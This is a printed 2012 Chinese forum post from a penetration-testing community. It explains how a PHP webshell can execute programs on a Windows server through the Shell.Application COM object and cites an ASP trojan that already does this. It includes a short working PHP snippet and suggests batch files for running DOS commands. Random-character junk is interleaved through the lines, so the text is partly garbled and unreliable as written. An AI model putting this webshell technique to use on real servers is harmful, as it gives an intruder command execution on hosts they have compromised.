中国网络渗透测试联盟

标题: php和asp利用Shell.Application来执行程序 [打印本页]
作者: admin    时间: 2012-9-15 14:29
标题: php和asp利用Shell.Application来执行程序
关于用Shell.Application来执行程序，在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
5 s1 O6 O2 G) H
& @+ I9 |7 b- W. z/ ~, @1 y' |/ A今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法' {; P: S9 X: h3 s" X% _
+ ?7 f7 M& L- }% k8 O
<?php& A  \+ b3 A* T. x+ j
$wsh = new COM('Shell.Application') or die("Shell.Application");
/ f3 [# F4 e. C2 i( C* Q    $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");- u. ^4 y: l! a4 M/ J1 k0 }0 h
    //没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
4 Z( Z6 D7 C# n$ k; ^$ I* r?>
# D) s' [( K/ L4 {, j! H2 k8 R. D" E0 c; T6 D  e* F/ K% F
xp+APMServ5.2.0测试通过。
5 q; L5 L( t; e# D



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2